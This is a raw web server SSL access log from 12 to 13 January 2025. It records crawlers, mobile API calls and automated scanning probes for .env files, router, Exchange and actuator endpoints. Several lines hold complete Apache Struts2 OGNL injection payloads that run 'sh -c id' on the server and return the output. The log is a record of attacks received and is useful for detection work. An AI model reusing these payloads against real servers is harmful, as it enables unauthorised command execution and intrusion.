[12/Jan/2025:08:06:15 +0800] 88.30.28.241 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 4096
[12/Jan/2025:08:20:34 +0800] 95.214.55.39 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 235
[12/Jan/2025:08:55:44 +0800] 52.167.144.172 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20220912 HTTP/1.1" -
[12/Jan/2025:09:02:14 +0800] 74.125.218.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/assetlinks.json HTTP/1.1" 225
[12/Jan/2025:09:46:39 +0800] 52.167.144.138 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20200613 HTTP/1.1" 32425
[12/Jan/2025:09:53:22 +0800] 52.187.54.3 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:10:50:21 +0800] 114.119.135.251 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/ HTTP/1.1" 814245
[12/Jan/2025:10:53:05 +0800] 114.119.154.207 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LICENSE.txt HTTP/1.1" 40962
[12/Jan/2025:10:58:35 +0800] 114.119.139.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/iconv/iso646-kr.so HTTP/1.1" 12800
[12/Jan/2025:11:12:26 +0800] 40.77.167.151 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20210522 HTTP/1.1" 25770
[12/Jan/2025:11:24:35 +0800] 121.225.71.55 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/65?device_time=1736652263786&token=085442 HTTP/1.1" 94
[12/Jan/2025:11:24:36 +0800] 121.225.71.55 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /MobileAPI/api/deviceservice/salt/65 HTTP/1.1" 56
[12/Jan/2025:11:58:31 +0800] 114.119.152.216 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 208
[12/Jan/2025:12:03:21 +0800] 167.172.132.71 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 202
[12/Jan/2025:12:03:22 +0800] 167.172.132.71 - - "GET / HTTP/1.0" 362
[12/Jan/2025:12:49:36 +0800] 120.204.176.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/877?device_time=1736657369095&token=040589 HTTP/1.1" 94
[12/Jan/2025:12:49:36 +0800] 120.204.176.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/13668?device_time=1736657369098&token=517790 HTTP/1.1" 94
[12/Jan/2025:12:49:36 +0800] 120.204.176.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/companyservice/companys/diff?last_updated_time=1735792260971&id=134 HTTP/1.1" 28
[12/Jan/2025:12:49:36 +0800] 120.204.176.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/1494?device_time=1736657369090&token=126711 HTTP/1.1" 94
[12/Jan/2025:12:50:37 +0800] 120.204.176.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[12/Jan/2025:13:12:14 +0800] 167.94.145.109 - - "GET / HTTP/1.0" 362
[12/Jan/2025:13:12:17 +0800] 167.94.145.109 - - "GET / HTTP/1.0" 362
[12/Jan/2025:13:16:01 +0800] 114.92.29.32 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/companyservice/companys/diff?last_updated_time=1729229128928&id=134 HTTP/1.1" 28
[12/Jan/2025:13:16:01 +0800] 114.92.29.32 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/1049?device_time=1736658954271&token=511494 HTTP/1.1" 94
[12/Jan/2025:13:16:01 +0800] 114.92.29.32 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /MobileAPI/api/deviceservice/salt/1049 HTTP/1.1" 56
[12/Jan/2025:13:16:01 +0800] 114.92.29.32 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/6df5ff2a-8f4d-4853-afba-64e6e9ee94fe HTTP/1.1" 53985
[12/Jan/2025:13:16:01 +0800] 114.92.29.32 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/c6491026-6f54-43e4-8e01-51f57472d30a.png HTTP/1.1" -
[12/Jan/2025:13:16:01 +0800] 114.92.29.32 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/6df5ff2a-8f4d-4853-afba-64e6e9ee94fe HTTP/1.1" -
[12/Jan/2025:13:49:29 +0800] 167.94.145.98 - - "GET / HTTP/1.0" 362
[12/Jan/2025:13:49:32 +0800] 167.94.145.98 - - "GET / HTTP/1.0" 362
[12/Jan/2025:13:51:00 +0800] 34.38.226.167 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:13:53:12 +0800] 114.119.130.178 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20210609 HTTP/1.1" 132752
[12/Jan/2025:13:56:12 +0800] 114.119.154.207 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20201210 HTTP/1.1" 324986
[12/Jan/2025:14:01:37 +0800] 114.119.139.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20200511 HTTP/1.1" 70296
[12/Jan/2025:14:01:52 +0800] 123.160.223.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:14:01:59 +0800] 123.160.223.72 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 209
[12/Jan/2025:14:04:24 +0800] 114.119.139.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/access.log.1702857600 HTTP/1.1" -
[12/Jan/2025:14:07:11 +0800] 114.119.129.189 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/apr_dbd_sqlite3-1.dll HTTP/1.1" 20992
[12/Jan/2025:14:17:39 +0800] 206.168.34.86 - - "GET / HTTP/1.0" 362
[12/Jan/2025:14:17:49 +0800] 206.168.34.86 - - "GET / HTTP/1.0" 362
[12/Jan/2025:14:32:22 +0800] 66.249.77.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 208
[12/Jan/2025:14:32:22 +0800] 66.249.77.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/assetlinks.json HTTP/1.1" 225
[12/Jan/2025:14:35:44 +0800] 45.148.10.17 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:14:38:52 +0800] 95.214.55.39 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 235
[12/Jan/2025:14:44:42 +0800] 92.255.57.58 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 4096
[12/Jan/2025:15:19:42 +0800] 52.167.144.220 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20200605 HTTP/1.1" 88196
[12/Jan/2025:15:20:49 +0800] 185.242.226.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:15:29:09 +0800] 45.156.128.126 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:15:32:31 +0800] 175.12.254.35 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 209
[12/Jan/2025:15:49:16 +0800] 92.255.57.58 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/gateway/routes HTTP/1.1" 221
[12/Jan/2025:16:12:59 +0800] 107.170.20.227 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ab2g HTTP/1.1" 202
[12/Jan/2025:16:13:00 +0800] 107.170.20.227 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ab2h HTTP/1.1" 202
[12/Jan/2025:16:13:01 +0800] 107.170.20.227 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /alive.php HTTP/1.1" 207
[12/Jan/2025:16:13:06 +0800] 107.170.20.227 - - "GET / HTTP/1.0" 362
[12/Jan/2025:16:13:07 +0800] 107.170.20.227 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:16:13:07 +0800] 107.170.20.227 - - "GET / HTTP/1.0" 362
[12/Jan/2025:16:13:08 +0800] 107.170.20.227 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /t4 HTTP/1.1" 200
[12/Jan/2025:16:13:09 +0800] 107.170.20.227 - - "GET / HTTP/1.0" 362
[12/Jan/2025:16:13:10 +0800] 107.170.20.227 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 209
[12/Jan/2025:16:13:10 +0800] 107.170.20.227 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:16:13:11 +0800] 107.170.20.227 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /teorema505?t=1 HTTP/1.1" 208
[12/Jan/2025:16:13:50 +0800] 92.255.57.223 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/login HTTP/1.1" 210
[12/Jan/2025:16:13:51 +0800] 92.255.57.223 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 203
[12/Jan/2025:16:31:23 +0800] 4.255.99.21 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:16:52:42 +0800] 114.119.145.123 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/iconv/cp297.so HTTP/1.1" 12800
[12/Jan/2025:17:02:21 +0800] 40.77.167.10 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20210607 HTTP/1.1" 404671
[12/Jan/2025:17:29:14 +0800] 104.152.52.37 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 4096
[12/Jan/2025:17:33:11 +0800] 36.156.127.20 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 209
[12/Jan/2025:17:43:04 +0800] 139.59.58.154 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 202
[12/Jan/2025:17:43:05 +0800] 139.59.58.154 - - "GET / HTTP/1.0" 362
[12/Jan/2025:17:45:45 +0800] 114.119.152.134 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/zlib1.dll HTTP/1.1" 86016
[12/Jan/2025:17:48:31 +0800] 114.119.152.134 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/iconv/iso-ir-142.so HTTP/1.1" 14848
[12/Jan/2025:17:49:16 +0800] 40.77.167.71 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20230108 HTTP/1.1" -
[12/Jan/2025:17:56:56 +0800] 114.119.154.207 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/extra/?C=D%3BO%3DA HTTP/1.1" 3341
[12/Jan/2025:18:19:42 +0800] 47.128.17.80 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 208
[12/Jan/2025:18:20:25 +0800] 47.128.62.27 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 208
[12/Jan/2025:18:21:04 +0800] 47.128.49.136 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 208
[12/Jan/2025:18:21:45 +0800] 47.128.27.49 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 208
[12/Jan/2025:18:30:23 +0800] 147.185.132.220 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:18:53:15 +0800] 52.167.144.219 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241112 HTTP/1.1" 171483
[12/Jan/2025:19:06:44 +0800] 80.64.30.19 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/login HTTP/1.1" 210
[12/Jan/2025:19:06:44 +0800] 80.64.30.19 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 203
[12/Jan/2025:19:36:57 +0800] 119.48.184.58 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/companyservice/companys/diff?last_updated_time=1729048470027&id=134 HTTP/1.1" 28
[12/Jan/2025:19:36:57 +0800] 119.48.184.58 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/2214?device_time=1736681811743&token=350417 HTTP/1.1" 93
[12/Jan/2025:19:36:57 +0800] 119.48.184.58 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/1997?device_time=1736681811447&token=850253 HTTP/1.1" 94
[12/Jan/2025:19:36:58 +0800] 119.48.184.58 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /MobileAPI/api/deviceservice/salt/2214 HTTP/1.1" 56
[12/Jan/2025:19:36:58 +0800] 119.48.184.58 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /MobileAPI/api/deviceservice/salt/1997 HTTP/1.1" 56
[12/Jan/2025:20:10:42 +0800] 51.8.102.107 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 208
[12/Jan/2025:20:13:45 +0800] 18.220.122.122 - - "GET / HTTP/1.0" 362
[12/Jan/2025:20:34:39 +0800] 5.181.190.248 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:20:34:40 +0800] 1.163.229.17 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/companyservice/companys/diff?last_updated_time=1724933443875&id=134 HTTP/1.1" 28
[12/Jan/2025:20:34:40 +0800] 1.163.229.17 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/c6491026-6f54-43e4-8e01-51f57472d30a.png HTTP/1.1" 26546
[12/Jan/2025:20:34:40 +0800] 1.163.229.17 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/13671?device_time=1736685273906&token=112074 HTTP/1.1" 94
[12/Jan/2025:20:34:40 +0800] 1.163.229.17 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /MobileAPI/api/deviceservice/salt/13671 HTTP/1.1" 56
[12/Jan/2025:20:40:23 +0800] 40.77.167.10 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20241024 HTTP/1.1" 43033
[12/Jan/2025:21:02:36 +0800] 114.119.139.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20201230 HTTP/1.1" 291621
[12/Jan/2025:21:02:40 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20230102 HTTP/1.1" 9253
[12/Jan/2025:21:10:30 +0800] 18.220.122.122 - - "GET / HTTP/1.0" 362
[12/Jan/2025:21:18:07 +0800] 114.119.154.207 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20210710 HTTP/1.1" 21885
[12/Jan/2025:21:28:08 +0800] 95.214.55.39 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 235
[12/Jan/2025:21:34:36 +0800] 13.83.43.77 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1" 228
[12/Jan/2025:22:31:10 +0800] 154.213.184.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[12/Jan/2025:22:44:30 +0800] 52.167.144.222 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20211222 HTTP/1.1" 40715
[12/Jan/2025:22:50:42 +0800] 148.153.45.238 - - "GET / HTTP/1.0" 362
[12/Jan/2025:22:50:43 +0800] 148.153.45.238 - - "GET / HTTP/1.0" 362
[12/Jan/2025:22:50:43 +0800] 148.153.45.238 - - "GET / HTTP/1.0" 362
[12/Jan/2025:22:50:43 +0800] 148.153.45.238 - - "GET / HTTP/1.0" 362
[12/Jan/2025:22:50:44 +0800] 148.153.45.238 - - "GET / HTTP/1.0" 362
[12/Jan/2025:22:50:44 +0800] 148.153.45.238 - - "GET / HTTP/1.0" 362
[12/Jan/2025:23:04:11 +0800] 87.120.115.34 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 202
[12/Jan/2025:23:18:16 +0800] 52.167.144.232 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20220411 HTTP/1.1" 107361
[12/Jan/2025:23:20:52 +0800] 18.191.217.75 - - "GET / HTTP/1.0" 362
[13/Jan/2025:00:02:37 +0800] 40.77.167.17 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20221109 HTTP/1.1" 24716
[13/Jan/2025:00:08:28 +0800] 143.198.93.89 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 202
[13/Jan/2025:00:08:28 +0800] 143.198.93.89 - - "GET / HTTP/1.0" 362
[13/Jan/2025:00:09:38 +0800] 40.77.167.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20230210 HTTP/1.1" 17023
[13/Jan/2025:00:32:01 +0800] 52.167.144.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20220313 HTTP/1.1" 19233
[13/Jan/2025:02:39:14 +0800] 95.214.55.39 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[13/Jan/2025:03:03:46 +0800] 52.167.144.23 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241117 HTTP/1.1" 32648
[13/Jan/2025:03:48:47 +0800] 52.167.144.25 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20230215 HTTP/1.1" 16371
[13/Jan/2025:03:52:09 +0800] 72.35.208.25 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/6df5ff2a-8f4d-4853-afba-64e6e9ee94fe HTTP/1.1" 53985
[13/Jan/2025:03:54:00 +0800] 52.167.144.222 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20230118 HTTP/1.1" 90394
[13/Jan/2025:04:28:45 +0800] 52.167.144.159 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20230204 HTTP/1.1" 31589
[13/Jan/2025:04:33:40 +0800] 87.120.127.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 202
[13/Jan/2025:05:17:01 +0800] 87.120.115.119 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 202
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 210
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 210
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 210
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 210
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 210
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 210
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 210
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 210
[13/Jan/2025:05:39:51 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 210
[13/Jan/2025:05:39:56 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/status HTTP/1.1" 223
[13/Jan/2025:05:39:56 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test HTTP/1.1" 221
[13/Jan/2025:05:39:56 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug.cgi HTTP/1.1" 207
[13/Jan/2025:05:39:56 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/status/status.cgi HTTP/1.1" 234
[13/Jan/2025:05:39:56 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test-cgi HTTP/1.1" 225
[13/Jan/2025:05:39:56 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/stats HTTP/1.1" 222
[13/Jan/2025:05:39:56 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.cgi HTTP/1.1" 206
[13/Jan/2025:05:39:56 +0800] 154.216.20.74 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test.cgi HTTP/1.1" 225
[13/Jan/2025:05:47:03 +0800] 164.52.24.180 - - "GET / HTTP/1.0" 362
[13/Jan/2025:05:54:04 +0800] 209.38.199.121 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 202
[13/Jan/2025:05:54:04 +0800] 209.38.199.121 - - "GET / HTTP/1.0" 362
[13/Jan/2025:06:54:35 +0800] 45.156.128.126 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 4096
[13/Jan/2025:07:02:31 +0800] 66.249.77.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 208
[13/Jan/2025:07:02:31 +0800] 66.249.77.72 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_hooks.h HTTP/1.1" 6150
[13/Jan/2025:07:17:55 +0800] 114.119.152.134 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20210106 HTTP/1.1" 219306
[13/Jan/2025:07:54:17 +0800] 40.77.167.61 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_METHOD_NOT_ALLOWED.html.var HTTP/1.1" 8641